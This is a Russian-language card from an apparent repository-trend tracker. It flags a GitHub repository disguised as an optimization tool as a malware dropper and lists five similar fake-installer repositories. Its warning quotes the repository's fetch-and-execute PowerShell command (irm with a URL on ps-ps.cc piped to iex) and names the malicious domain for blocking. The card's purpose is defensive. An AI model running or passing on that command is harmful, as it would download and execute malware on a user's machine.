# HallHazeStitch/Easy-Worship > Репозиторий маскируется под оптимизацию производительности и автоматизацию развёртывания, но по сути распространяет вредоносный PowerShell-скрипт, запускаемый через irm | iex, с обходом политики выполнения и отключением антивируса. - Магнитуда: 5,0 из 10 — Ранний сигнал - Звёзды: 87 всего · +92 звезды сегодня, к вечеру ≈ 117 - Доверие к звёздам: рост звёзд выглядит естественно - Категория: Безопасность · Создан: 2026-10-01 · Последний коммит: 2026-10-01 - GitHub: https://github.com/HallHazeStitch/Easy-Worship · Страница: https://gitnova.dev/r/HallHazeStitch/Easy-Worship ## Чем пригодится - Не запускать команду irm https://ps-ps.cc/powershell/Loader.ps1 | iex из README - Проверить репозиторий на признаки malware перед использованием - Заблокировать домен ps-ps.cc в корпоративной сети ## Почему он здесь - Сегодня уже 92 звезды, к концу дня ожидается около 117. - Репозиторию 1 день, а у него уже 87 звёзд. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет. - Около 51 форков в сутки — код забирают себе. ## Доверие к звёздам Рост звёзд выглядит естественно. Метки доверия к звёздам — эвристики по поведению репозитория, а не проверка каждого, кто поставил звезду. ## Цифры - Форков: 6 - Issues и pull requests: 0 - Наблюдателей: 0 - В среднем за неделю: 58 в день - Обычный темп: мало истории (меньше двух недель) - Звёзд за последний час (по замерам): 9 ## Звёзды по дням за 6 дней (от старых к новым, сегодня — неполный день) 2026-09-27 … 2026-10-02: 0, 0, 0, 0, 0, 92 ## Похожие по описанию 1. **Shardarcairn12/Discord-Server-Raider** — 6,8 · Ранний сигнал · Безопасность · +226 звёзд сегодня, к вечеру ≈ 287 Репозиторий маскируется под «оптимизацию Discord-серверов», но по факту это рейдер-инструмент с установкой через PowerShell-скрипт с внешнего домена и советами отключать антивирус. Полная карточка: https://gitnova.dev/r/Shardarcairn12/Discord-Server-Raider.md 2. **Knotgraenhance/Cinema-4d** — 6,2 · Ранний сигнал · Безопасность · +111 звёзд сегодня, к вечеру ≈ 141 Репозиторий маскируется под оптимизационный набор для Cinema 4D, но по факту распространяет PowerShell-скрипт, который через irm | iex запускает сторонний загрузчик и правит реестр. README прямо упоминает «pre-activated launchers» и обход… Полная карточка: https://gitnova.dev/r/Knotgraenhance/Cinema-4d.md 3. **crownsandband/ExitLag** — 5,8 · Ранний сигнал · Безопасность · +176 звёзд сегодня, к вечеру ≈ 224 Репозиторий маскируется под инструмент оптимизации, но по факту распространяет PowerShell-скрипт (irm ... | iex) для установки «взломанного» ExitLag. README содержит SEO-текст и инструкции по обходу антивируса — типичный признак… Полная карточка: https://gitnova.dev/r/crownsandband/ExitLag.md 4. **ashdriverclippers/Microsoft-Visio** — 5,8 · Ранний сигнал · Безопасность · +149 звёзд сегодня, к вечеру ≈ 189 Репозиторий маскируется под «оптимизацию Microsoft Visio», но по сути это скрипт-загрузчик, который через PowerShell запускает удалённый код с ps-ps.cc и предлагает отключить антивирус. Признаки вредоносного/пиратского установщика, а не… Полная карточка: https://gitnova.dev/r/ashdriverclippers/Microsoft-Visio.md 5. **denmooseflex/Display-Fusion** — 5,9 · Ранний сигнал · Безопасность · +183 звезды сегодня, к вечеру ≈ 232 Репозиторий маскируется под менеджер конфигурации Display Fusion, но по сути это установщик, распространяющий пиратскую «pre-activated» версию через запуск удалённого PowerShell-скрипта. README содержит инструкции по обходу Execution… Полная карточка: https://gitnova.dev/r/denmooseflex/Display-Fusion.md --- Магнитуда (0–10) — насколько быстро и необычно сейчас растёт интерес к репозиторию. Это не оценка качества. Дни — по UTC. «Уже сегодня» — факт, «к вечеру ≈» — прогноз. Описания и сценарии пишет модель (DeepSeek V4.1 Flash) по README, в деталях возможны ошибки: конкретные утверждения (замеры, скорость, железо) проверяйте в самом репозитории. Данные на 2026-10-02 17:30 UTC, обновление каждые 30 минут.